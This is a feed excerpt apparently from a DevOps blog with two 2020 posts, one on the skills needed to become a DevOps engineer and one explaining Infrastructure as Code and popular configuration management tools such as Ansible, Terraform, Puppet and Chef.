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Becoming a Successful DevOps professional in 2020 https://devopscurry.com/becoming-a-successful-devops-professional-in-2020/?utm_source=rss&utm_medium=rss&utm_campaign=becoming-a-successful-devops-professional-in-2020 https://devopscurry.com/becoming-a-successful-devops-professional-in-2020/?noamp=mobile#respond Wed, 23 Sep 2020 07:16:38 +0000 https://devopscurry.com/?p=8037 In current scenario Devops Engineers or Devops professionals are the most sought after profiles in software industry. Most of the companies are hiring DevOps experts, be it large enterprises or a small startup. But an important thing to remember here is that DevOps is not only about methods and tools but more of a Cultural […]

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In current scenario Devops Engineers or Devops professionals are the most sought after profiles in software industry. Most of the companies are hiring DevOps experts, be it large enterprises or a small startup.

But an important thing to remember here is that DevOps is not only about methods and tools but more of a Cultural Shift. It works to break down silos and create collaborations between various teams within an organisation.

Thus, a DevOps engineer should be an expert in not only software development but also in operations. A DevOps engineer will work together with both – Developers and Operations Team.

Essential Skills to become a successful DevOps Engineer

There is an ever increasing demand for DevOps experts in the industry. Everyone is trying to adapt to DevOps nowadays. But only a few are doing it right. Let us discuss some fundamental skills a DevOps person must acquire to be successful in this profile.

Linux Fundamentals and Scripting

Most of the organisations are adopting open-source tools and preferring Linux for professional use. As Linux is more secure as compared to other operating systems and also, it is an open-source operating system. That is why a good knowledge of Linux is essential for a DevOps engineer. Also a DevOps engineer should have good hands-on experience in code scripting. He/she should know scripting languages like bash, shell, python, perl, etc. Because DevOps engineer will be responsible for automation and required to write codes in any of these languages.

Knowledge of Various DevOps Tools and Technologies

DevOps is implemented with the help of various tools. Additionally, DevOps is achieved in different stages and each stage requires a different set of tools. Some of these tools and technologies are described below:

    • Knowledge of Source Code Management: there is a need to constantly create and update the software codes. Source Code Management will store the codes, merge new and old codes, and control the code versions. Tools used for Source Code Management: Git, Github, Gitlab, etc
    • Knowledge of Configuration Management tools: as the name suggests, it is used to manage software and operating system configurations. Configuration Management tools will take a remote connection to the target server and push the configuration changes. They can manage thousands of servers at once suing code. It is achieved through click of a button or execution of a command. Examples of Configuration Management are Puppet, Chef, Ansible,Terraform.
    • Knowledge of Continuous Integration: It is the process of automating the code with the master copy between various developers. Some examples of CI tools are VSTS, Bamboo, Jenkins,circleCI, TravisCI, Buildkite etc.
    • Knowledge of Continuous Testing: Continuous testing will reduce the feedback time after code testing. The code will be tested in the development department automatically using tools. Famous testing tools are Selenium and TestComplete.
    • Familiarity with Continuous Monitoring It is used to do continuous monitoring of application performance, downtime, and errors. Some examples of Continuous Monitoring tools are Nagios, Splunk, Zabbix,Promethues, Datadog,Icinga,New Relic.
    • Understanig of Containerization (Containers & Docker): containerization will virtualize the operating system. So different containers running different applications can share the operating system. Some examples are Docker, Kubernetes, Vagrant.
Continuous Integration and Continuous Delivery

CI/CD is one of the most popular and in-demand skill for DevOps implementation. Good knowledge of CI and CD will help DevOps engineer to develop a high-quality product at a faster speed. This will save a lot of time. It will also help to detect any errors in integration in the early stages.Continuous Delivery is like an extension to Continuous Integration. Here, a recently integrated code is made ready for deployment automatically. If this process is done manually, it will take 2 to 3 days to complete. Traditionally, the development team used to release new code to the testing team. Then the testing team used to do their part. These delays are now possible to avoid using CD – Continuous Deliver

Infrastructure as Code(IaC)

Knowledge of Infrastructure as Code is again a must have skills DevOps engineer. This will basically help to manage infrastructure. With technologies like cloud computing, it is now possible to provide the needed infrastructure to the developers. This is done using automated scripts. These scripts will execute the required commands and will do configuration management. The requirement can be fulfilled in seconds using Infrastructure as Code.

Key Concepts of DevOps

DevOps is a methodology where different teams of an organisation collaborate to break down traditional silos. This is accomplished using various tools and concepts of DevOps. There is no strict framework for DevOps. Each organisation can adopt and implement DevOps as per their criteria and needs. Any DevOps professional must have in-depth knowledge about the key concepts of DevOps. The job of a DevOps professional is a high responsibility job that will affect each department within an organisation.

Knowledge about Public Cloud

If you are planning to get into DevOps, you must have this some knowledge of public clouds. This can be one of the most in-demand skills for a DevOps engineer. Companies are now using cloud technology. Cloud provides a centralized platform for various processes like testing, deploying, and releasing the code. So, you must have the skill and deep knowledge of various cloud platforms and the services they provide. Some of the key public cloud services providers are Amazon Web Services, Google Cloud(GCP), Microsoft Azure, Digitalocean etc.

Soft Skills/Communication Skills

DevOps highlights the work environment and people more than tools and practices. Hence, soft skills play a great role in DevOps. Some of these skills are:

    • Clear Communication
    • Empathy
    • Taking Ownership
    • Positive Attitude
    • Pressure Handling skills
    • Listening Skills

Other than these skills, trust also plays an important role. The trust of the teammates can be achieved by active communications and creating a positive and supportive environment. The implementation of these skills will be reflected in the overall performance of the team and eventually the whole organization

DevOps is all about breaking silos within the organisations and making a friendly and supportive environment at workplaces.

With the help of DevOps, development, operation  and business teams collaborate. They will deliver high-quality products to the customers at a faster pace. Other than these essential skills, other DevOps skills that can be adopted are collaboration, flexibility, security skills and customer-first mindset.

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Things you should know about IaC(Infrastructure As Code) in 2020 https://devopscurry.com/things-you-should-know-about-iacinfrastructure-as-code-in-2020/?utm_source=rss&utm_medium=rss&utm_campaign=things-you-should-know-about-iacinfrastructure-as-code-in-2020 https://devopscurry.com/things-you-should-know-about-iacinfrastructure-as-code-in-2020/?noamp=mobile#respond Tue, 22 Sep 2020 14:17:58 +0000 https://devopscurry.com/?p=8029 What is Infrastructure As a Code? As we are edging towards end of 2020 (an uneventful year),  if you have been following the DevOps space or working into Cloud or DevOps domain, you would have frequently come across this term “IaC (Infrastructure As  Code)” Infrastructure As a Code is very popular term in DevOps, aka […]

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What is Infrastructure As a Code?

As we are edging towards end of 2020 (an uneventful year),  if you have been following the DevOps space or working into Cloud or DevOps domain, you would have frequently come across this term “IaC (Infrastructure As  Code)”

Infrastructure As a Code is very popular term in DevOps, aka IaaC or IaC, it is the process of managing your IT infrastructure using only configurations files(ready Code).

Let us now understand what is IaC and what is the use of IaC in DevOps?

Definition of Infrastructure As a Code

As per the Wikipedia:

Infrastructure As a Code is the process of managing and provisioning of cloud infrastructure or physical data centers through machine-readable definition files or code, rather than physical hardware configuration or interactive configuration tools.

In simple words – Infrastructure As a Code will help you to manage your IT Infrastructure with just some lines of code. You need not have a dedicated Admin army to maintain physical infrastructure and tools for this. IaC will give you the remarkable benefits of consistency, easy & faster maintenance, low-cost management. Additionally, there is no room for those ‘Human Errors’.

IT Infrastructure management has been a critical and tedious task for any company or industry. Why? Well, you need to have a large source of human power to manage the whole infrastructure. This includes investing a huge amount of money and manpower, scalability, availability, inconsistency, and what not! Still there is always a room for ‘human mistakes’.

Benefits of IaaC: infrastructure as code has many benefits, some of them are listed below:

  • Consistency: while using IaC, there is no chance of human mistakes and inconsistencies. IaC has config files to themselves. Thus, the same configurations files can be deployed seamlessly every time.
  • Faster Speed: one of the  notable benefits of IaC is speed. As it only needs a script(code) to set up a whole infrastructure. Eventually, it takes lesser time and  makes the whole process much more faster and efficient.
  • Reduced Cost: IaC lowers the cost of infrastructure management significantly. You do not have to spend money on manpower to manage the hardware and physical space.
  • Consistent Configuration: you are able to configure files just like a simple source code file. This makes its easier to trace and track ,  all the changes in your infrastructure configuration. You don’t need to play guessing games anymore.
  • Faster Software Deployment: you will be able to deploy the infrastructure in many stages. It will make the software development process more efficient. Also, this will boost the team’s productivity.

Some Popular Configuration Management Tools for IaC

  • Ansible : ansible was created by RedHat Team. Designed with automation in mind, it doesn’t use agents. Ansible will run by default in Push mode. While using push mode, an SSH connection is necessary. Pull mode is also available and can be used when needed. Ansible provides a “radically simple” configuration language.  It is possible to create your own modules in Ansible. Thus, Ansible is also one of the most flexible IaC. Moreover, we can combine Ansible with other tools. Some of these tools are Jenkins, Ansible Works(AWX), RunDeck, ARA, etc.
  • Terraform: developed by HashiCorp, Terraform works with multiple clouds. Terraform uses its own DSL called HashiCorp Configuration Language(HSL). HCL is JSON compatible language. You can write your own plugins in Terraform. It is completely cloud-agnostic. Terraform will help in managing large infrastructure.  Terraform automation focus on the core plan/apply cycle. It comes in various shapes. It supports the change and provisioning previews. Terraform is able to replicate deployments and individual server instances.
  • Puppet: puppet is one of the older IaC tools and has been used by companies like AWS, Google Cloud, VMWare, Reddit, Dell, and Azure. Puppet has some of the most advanced interfaces. It internally uses Ruby-based DSL. Puppet has been on the market for quite a long time. The push model is by default in Puppet. However, Pull model can be configured as and when needed. You will find Puppet usually in a client-server architecture. Puppet keeps an eye on the infrastructure for changes that might affect the defined end state. It will automatically fix those changes.
  • Chef: chef is again an old school tool and one of the most popular configuration management tools. Chef also uses Ruby-based DSL, just like Puppet. Chef runs on a client-server configuration. It is available as a standalone configuration, which is called ‘Chef-solo’. Chef uses ‘recipes’ and ‘cookbooks’ to run your infrastructure. You can also create your own ‘recipes’. Chef has a large user base and a full set of tools. Thus, it is possible for anyone to create recipes, regardless of technical background.
  • Saltstack: SaltStack is often called ‘Salt’. Salt is used in DevOps services for IaC. Because it gathers developer code and configuration data from a central code repository. The main purpose to create Salt was for high-speed data collection. Salt uses Python modules to manage configurations and other actions. Salt works on a client-server topology. Salt masters are servers and Salt minions are clients. You can find configurations in Salt state files. These files contain every information needed to keep the system in the desired state.
  • AWS Cloud Formation: AWS Cloudformation is created only for users working in the AWS Cloud. AWS Cloud Formation allows you to create templates using YAML and JSON files. Deployment of the resources is possible to do in a repeatable and manageable way using AWS, because it does have an automation feature. You will only have to pay for the resources you have used. You only need to configure the template to your application. CloudFormation will handle the rest of the tasks. Additionally, it is possible to use a single template for various regions and AWS accounts.

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